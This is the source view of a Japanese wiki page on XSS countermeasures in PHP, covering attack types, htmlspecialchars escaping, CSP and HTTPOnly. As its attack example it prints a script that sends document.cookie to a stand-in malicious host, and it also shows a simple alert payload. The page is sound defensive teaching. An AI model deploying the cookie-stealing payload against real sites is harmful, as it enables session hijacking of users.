MochiuWiki : SUSE, EC, PCB
案内
メインページ
最近の更新
おまかせ表示
MediaWiki についてのヘルプ
ツール
リンク元
関連ページの更新状況
特別ページ
ページ情報
We ask for
Donations
検索
個人用ツール
ログイン
Toggle dark mode
名前空間
ページ
議論
表示
閲覧
ソースを閲覧
履歴を表示
PHPの基礎 - XSS対策のソースを表示
提供: MochiuWiki : SUSE, EC, PCB
←
PHPの基礎 - XSS対策
あなたには「このページの編集」を行う権限がありません。理由は以下の通りです:
この操作は、次のグループのいずれかに属する利用者のみが実行できます:
管理者
、new-group。
このページのソースの閲覧やコピーができます。
== 概要 == XSS (クロスサイトスクリプティング) 攻撃は、Webアプリケーションの脆弱性を利用して、悪意のあるスクリプトをユーザのWebブラウザで実行させる攻撃手法である。<br> <br> 主な攻撃タイプには、反射型XSS、格納型XSS、DOMベースXSSがある。<br> * 反射型XSS *: ユーザの入力データがそのままレスポンスとして返される場合に発生する。 * 格納型XSS *: 悪意のあるスクリプトがデータベースに保存されて、他のユーザがページを閲覧した時に実行される。 * DOMベースXSS *: クライアントサイドのJavaScriptによってDOMが動的に変更される時に発生する。 <br> PHPでの対策として、<code>htmlspecialchars</code>関数を使用してHTML特殊文字をエスケープする。<br> <syntaxhighlight lang="php"> $safe_output = htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8'); </syntaxhighlight> <br> その他の重要な対策として、Content Security Policy (CSP) の実装、HTTPOnly属性の設定、入力値の適切なバリデーション、出力時のエンコーディング、最新のPHPフレームワークの使用等が挙げられる。<br> <br> 実際の攻撃例として、以下に示すようなスクリプトが挿入される可能性がある。<br> <br> これにより、ユーザのクッキー情報が攻撃者のサーバーに送信される可能性がある。<br> このような攻撃を防ぐために、適切なエスケープ処理と入力検証が不可欠である。<br> <syntaxhighlight lang="javascript"> <script> document.location='http://악성サイト.com/steal.php?cookie='+document.cookie; </script> </syntaxhighlight> <br><br> == htmlspecialchars関数の使用 == htmlspecialchars関数は、<u>反射型XSS</u>と<u>格納型XSS</u>の防止に効果的である。<br> これらのXSS攻撃は、HTMLの出力時にスクリプトが実行される仕組みを利用するためである。<br> <br> ただし、htmlspecialchars関数を使用する場合も、第2引数に<code>ENT_QUOTES</code>を指定して、文字エンコーディングを明示的に指定することが必要である。<br> これにより、シングルクォートとダブルクォートの両方が適切にエスケープされる。<br> <br> HTMLコンテンツを出力する場合は、htmlspecialchars関数を使用する。<br> 例えば、データベースに<u>"<script>alert('攻撃')</script>"</u>のような悪意のあるスクリプトが格納されている場合、<br> htmlspecialchars関数を使用しないと、そのスクリプトがWebブラウザで実行される可能性がある。<br> <br> htmlspecialchars関数を使用する場合、特殊文字がHTMLエンティティに変換 (例: "<" -> "<") されて、スクリプトが実行されなくなる。<br> <br> ただし、以下のような場合には、htmlspecialchars関数は不要である。<br> * JSONとして出力する場合 (json_encode関数の使用時) * データベースへの保存時 * HTMLとして解釈させる場合 (信頼できるソースからのデータの場合のみ) <br><br> {{#seo: |title={{PAGENAME}} : Exploring Electronics and SUSE Linux | MochiuWiki |keywords=MochiuWiki,Mochiu,Wiki,Mochiu Wiki,Electric Circuit,Electric,pcb,Mathematics,AVR,TI,STMicro,AVR,ATmega,MSP430,STM,Arduino,Xilinx,FPGA,Verilog,HDL,PinePhone,Pine Phone,Raspberry,Raspberry Pi,C,C++,C#,Qt,Qml,MFC,Shell,Bash,Zsh,Fish,SUSE,SLE,Suse Enterprise,Suse Linux,openSUSE,open SUSE,Leap,Linux,uCLnux,Podman,電気回路,電子回路,基板,プリント基板 |description={{PAGENAME}} - 電子回路とSUSE Linuxに関する情報 | This page is {{PAGENAME}} in our wiki about electronic circuits and SUSE Linux |image=/resources/assets/MochiuLogo_Single_Blue.png }} __FORCETOC__ [[カテゴリ:Web]]
PHPの基礎 - XSS対策
に戻る。
案内
メインページ
最近の更新
おまかせ表示
MediaWiki についてのヘルプ
ツール
リンク元
関連ページの更新状況
特別ページ
ページ情報
We ask for
Donations
Collapse